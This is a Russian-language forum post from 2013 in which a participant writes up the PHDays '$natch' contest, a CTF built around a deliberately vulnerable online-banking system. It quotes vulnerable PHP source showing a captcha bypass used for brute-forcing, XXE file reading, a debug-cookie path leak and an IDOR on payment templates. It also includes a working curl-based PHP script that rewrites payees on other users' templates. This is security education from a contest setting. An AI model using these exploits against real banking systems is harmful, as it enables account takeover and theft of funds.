HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Задания/Квесты/CTF/Конкурсы
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 29.05.2013, 01:07
BigBear
Новичок
Регистрация: 04.12.2008
Сообщений: 11
С нами: 9176038

Репутация: 8
По умолчанию

По итогам нашумевшего конкурса "$natch".

Конкурс уже прошёл, решил что пора бы напечатать свой write-up на тему "Как украсть деньги из IBank".

Надо признать, организаторы постарались на славу, предоставив пентестерам сразу 3 (!!!) вида различных уязвимостей для компрометации системы ДБО.

И тут было где разгуляться. Тем более банк обещал быть в размере 20к рублей, а сумма победителя ещё и удваивается спонсором!

Итак.

День первый.

12:00


Мы получили на руки исходники системы IBank и уже готовую виртуальную систему с этой ДБО на борту.

Но времени изучать исходники толком не было, вокруг была куча интереснейших докладов, поэтому изучение было передвинуто на вечер.

19:00

Наконец-то нашли время сесть и поковырять исходники. Практически сразу обнаружилось пару интересных вещей.

В то время как для входа в аккаунт требовалось передать 3 параметра: логин, пароль и капчу; дополнительно была найдена возможность авторизоваться через мобильный интерфейс, где запрашивало только логин и пароль.

AuthController.php

Код:
if ($request->isPost()) {
            $login    = $request->getPost('login');
            $password = $request->getPost('password');
            $captcha  = $request->getPost('captcha');

            $return['login'] = $login;
            
            /**
             * Disable captcha on mobile interface
             */
            
            if (!$mobile) {
                if (!isset($_SESSION['captcha']['code']) || ($captcha != $_SESSION['captcha']['code'])) {
                    $return['captchaError'] = true;
                    return $return;
                }
            }
            
            $result = $this->auth->authenticate($login, $password);
Для того чтобы ДБО пускало нас внуть через мобильный интерфейс - должна быть установлена Cookie "mobileInterface=true".

IndexController.php

Код:
public function switchInterfaceAction()
    {
        $request = $this->serviceManager->get('request');

        if ($request->getCookie('mobileInterface')) {
            setcookie('mobileInterface', '', null, '/');
        } else {
            setcookie('mobileInterface', 'true', null, '/');
        }
Всё это давало нам отличный шанс побрутить аккаунты на слабые пароли. Брутер написался очень быстро.

В качестве ответа-индикатора гудов и бэдов использовали код сервера "302 Found".

22:00

Зарядившись алкоголем (какой кодинг без него? Оо), мы с приятелями-конкурентами разделились на 2 части: кто-то дописывал и оптимизировал код, кто-то искал уязвимости дальше.

Второй вид уязвимости не заставил себя долго ждать.

XXE в функции импорта контактов.

ContactsController.php

Код:
public function indexAction()
    {
        return array(
            'user'     => $this->user,
            'contacts' => $this->userService->fetchUserContacts($this->user)
        );
    }

    public function exportAction()
    {
        $this->application->setOption('disableLayout', true)
                          ->setOption('disableView', true);

        $response = $this->serviceManager->get('response');
        $response->setHeader('Content-type', 'text/xml')
                 ->setHeader('Content-Disposition', 'attachment; filename="contacts.xml"')
                 ->appendBody($this->userService->exportUserContacts($this->user));
    }
    
    public function importAction()
    {
        if (isset($_FILES['contacts'])) {
            $this->userService->importUserContacts($this->user, $_FILES['contacts']['tmp_name']);
        }
        
        $this->redirect('/contacts');
    }
    
    public function addAction()
    {   
        if ($this->request->isPost()){
            $name        = $this->request->getPost('name');
            $account     = $this->request->getPost('account');
            $description = $this->request->getPost('description');
            if (!empty($name) && !empty($account)) {
                $this->userService->addUserContact($this->user, $name, $account, $description);
                $this->redirect('/contacts');
            }
        }
    }
    
    public function editAction()
    {
        $id = $this->request->getParam('id');
        $contact = $this->userService->fetchContactById($id);
        
        if (!$contact)
            throw new ContactNotFoundException();
        
        if ($contact->user_id != $this->user->id)
            throw new ForbiddenException();
        
        if ($this->request->isPost()) {
            $contact->name        = $this->request->getPost('name');
            $contact->account     = $this->request->getPost('account');
            $contact->description = $this->request->getPost('description');
            
            if ($this->userService->updateContact($contact)) {
                $this->redirect('/contacts');
            }
        }
        
        return array(
            'contact' => $contact
        );
Злоумышленник может внедрить свою XML сущность для чтения произвольного файла в системе. Что мы с радостью и сделали.

В качестве инжектируемого парамера изначально было выбрана переменная name. Но её длина не позволяла читать файлы длинного содержания. Тогда была найдена переменная description, которая не была видна при отображении, но была видна при редактировании списка конактов.

Буквально на коленке был написал эксплойт.

Код:
]>
name90107430600712500001&x;
Для первоначального эксплойта требовался абсолютный пусть до файлов в ОС. Эта проблема легко решалась разработчиками ДБО.

Bootstrap.php

Код:
if ($this->request->getCookie('debug')) {
    $this->setOption('displayExceptions', true);
}
Как видно, достаточно добавить кукис debug, равную,например, 1 - и мы получаем вывод ошибок, самые примитивные из которых вываливаются при запросе несуществующей страницы.

Была идея читать файл через wrapper php://filter/read=convert.base64-encode/resource, но она провалилась. Толи мы где-то косякнули с кодом, толи php отказывался отдавать файл через wrapper.

(Позже организаторы подтвердили первую догадку, так как итоговый эксплойт выглядел донельзя просто).

Код:
]>
name90107430600712500003&x;
День второй

02:00


Начали разбираться что это за типы аккаунтов такие "tan" и "mtan". В течение ночи эти переменные стали нарицательными, особенно для кодеров.

Пришли к выводу, что перед нами 3 типа аккаунтов:

1) tan. Транзакции отправляются посредством введения кода из БД таблицы tan. (По факту это имитация одноразовых кодов, выдаваемых банком на карточке).

2) mtan. (version 1). Транзакции проходят без введения вообще каких либо кодов подтверждения. Практически одним кликом.

3) mtan. (version 2). Транзакции проходят посредством ввода кода, оптравленного через SMS держателю счёта, при этом отправленнные коды кладутся в logs/messages.log.

Как вы уже поняли, 2 и 3 тип аккаунтов легко эксплуатаировался либо простым проведением транзакции, либо проведением транзакции и последующим чтением через XXE отправленных кодов подтверждения на SMS.

5:00

Предыдущие 2 эксплойта были дописаны. Работали кривова-то. Код был мягко говоря не айс. Но он был!

Перекопали исходники, не удалось понять в чем уязвимость шаблонов (раз они там были, значит видимо не просто так).

А всё было очень просто!

TransactionController.php

Код:
public function editTemplateAction()
    {   
        $template = $this->tService->fetchTemplateById($this->request->getParam('id'));
        
        if (!$template)
            throw new Exception\TransactionTemplateNotFoundException();
        
        if ($this->request->isPost()) {
            $template->name         = $this->request->getPost('name');
            $template->account_from = $this->request->getPost('from');
            $template->account_to   = $this->request->getPost('to');
            $template->sum          = $this->request->getPost('sum');
            
            if ($this->tService->updateTemplate($template)) {
                $this->redirect('/transactions/templates');
            }
        }
        
        return array(
            'template' => $template
        );
    }
TransactionService.php

Код:
public function fetchTemplateById($id)
    {
        $sth = $this->db->query("SELECT * FROM transaction_templates WHERE id = ? ", $id);
        if (!$sth->rowCount())
            return false;
        
        $template = new TransactionTemplate();
        $template->populate($sth->fetch());
        
        return $template;
    }

    public function addUserTemplate(User $user, $name, $from, $to, $sum)
    {
        $this->db->query("INSERT INTO transaction_templates VALUES(null,?,?,?,?,?)",
                         $user->id, $name, $from, $to, $sum);

        return $this;
    }
    
    public function updateTemplate(TransactionTemplate $template)
    {
        $this->db->query("UPDATE transaction_templates SET name = ?, account_from = ?, account_to = ?, sum = ? WHERE id = ?",
                         $template->name, $template->account_from,
                         $template->account_to, $template->sum, $template->id);
                
        return true;
    }
Из исходников видно, что у нас не проверяется ID человека, который редактирует шаблоны оплаты. Таким образом через специальный запрос в системе ДБО http://DBO/transactions/editTemplate/id/1 можно было редактировать любые шаблоны, подменяя адрес назначения платежа на свой.

Эксплойт мы так и не написали. Организаторы сказали, что вообще никто эту уязвимость не эксплуатировал. И привели свой правильный эксплойт.

Код:
 $login,
                'password' => $password,
            )
    );

    curl_setopt_array($ch, array(
        CURLOPT_URL            => $domain . '/auth/login',
        CURLOPT_POST           => 1,
        CURLOPT_FOLLOWLOCATION => 1,
        CURLOPT_POSTFIELDS     => $postdata,
    ));

    return curl_exec($ch);
}

function logout($ch, $domain)
{
    curl_setopt_array($ch, array(
        CURLOPT_URL            => $domain . '/auth/logout',
        CURLOPT_FOLLOWLOCATION => 0,
        CURLOPT_POST           => 0,
    ));

    return curl_exec($ch);
}

@unlink($cookie_file);
file_put_contents($cookie_file, "$domain\tFALSE\t/\tFALSE\t0\tmobileInterface\ttrue", FILE_APPEND | LOCK_EX);

$ch = curl_init();

curl_setopt_array($ch, array(
    CURLOPT_HEADER         => 1,
    CURLOPT_RETURNTRANSFER => 1,
    CURLOPT_COOKIEJAR      => $cookie_file,
    CURLOPT_COOKIEFILE     => $cookie_file,
));

login($ch, $login, $password, $domain);

$i = 0;
while (++$i) {
    if ($i > 100) {
        $i = 0;
        continue;
    }
    
    curl_setopt_array($ch, array(
        CURLOPT_URL  => $domain . '/transactions/editTemplate/id/' . $i,
        CURLOPT_POST => 0,
    ));

    $result = curl_exec($ch);

    if (strpos($result, '404. Page not found'))
        continue;

    preg_match_all("~~mU", $result, $matches);

    $post_data = array();
    foreach ($matches[1] as $key => $name) {
        $value            = $matches[2][$key];
        $post_data[$name] = $value;
    }
    
    if ($post_data['to'] !== $account) {
        $post_data['to'] = $account;

        curl_setopt_array($ch, array(
            CURLOPT_POST       => 1,
            CURLOPT_POSTFIELDS => http_build_query($post_data),
        ));

        $result = curl_exec($ch);
        
        echo "From {$post_data['from']} sum {$post_data['sum']}\n";
    }
}

curl_close($ch);
8:00

Все дружно упали спать. Ром сделал своё дело. Хотя поспать толком не удалось.

11:00

Чёртов будильник! Голова плохо варила. Благо дома оказалась холодная Coca-cola и раковина в ванной )

Умывшись и перекусив, мы отправились покорять PHDays. Наш главный кодер всё ещё дописывал/переписывал код. Неугомонный человек.

12:15

Началось. Прямо перед началом конкурса мы договорились о стратегии и обменялись эксплойтами.

Нам были розданы конверты участников и локальные кабели.

Казалось бы - всё прекрасно, но вот с первых минут всё пошло не так (.

Сначала я начал тупить и не смог авторизоваться под собой в системе ДБО.

Оказывается, в качестве аутентифкационных данных использовался логин и пасс нанесённый на карточку. Ок, понятно.

Потом вдруг отказался работать эксплойт для итоговой ДБО. Косяк был в глобализации переменной ip.

Когда он был исправлен, остальные участники уже пробрутили и вывели часть денег.

Поэтому было решено дождаться, пока они решат сменить свои пароли. Не зря же организаторы предусмотрели чтение файла /logs/changePassword.log ?)

Когда "вдруг" было объявлено, что всем пользователям принудительно сменили пароли, в ход пошёл другой наш эксплойт.

И вот тут нас ждал облом. Из-за специсимволов в изменённых паролях наш фейковый XML файл не позволял читать файл смены паролей.

А ведь всего-лишь надо было использовать wrapper php://filter/read=convert.base64-encode/resource. Мы лишь беспомощно развели руками и искали ошибку в наших скриптах, при этом недоумевая, почему дома эксплойт работал, а тут нет.

12:45

Прозвенел гонг. Конкурс подошёл к концу. На счету 0.

Но большого разочарования нет, уязвимости были найдены, код написан. Чуток не хватило сообразительности. Так бывает =)



Полный размер

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Хочется сказать большое спасибо организаторам за предоставленный шанс попробовать себя в этом конкурсе.

Было очень интересно копать баги и писать под них эксплойты. ИМХО это вообще самый интересный конкурс на PHDays 2013.

Отдельное спасибо человеку написавшему ДБО в одиночку - респект и уважуха !!!

Ну и спасибо всем моим товарищам, что были рядом и помогали во всём: Rebz, Trinux, FIXER aka shell_c0de, VY_CMa, alkos, konqi.

BigBear, Antichat, 2013
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.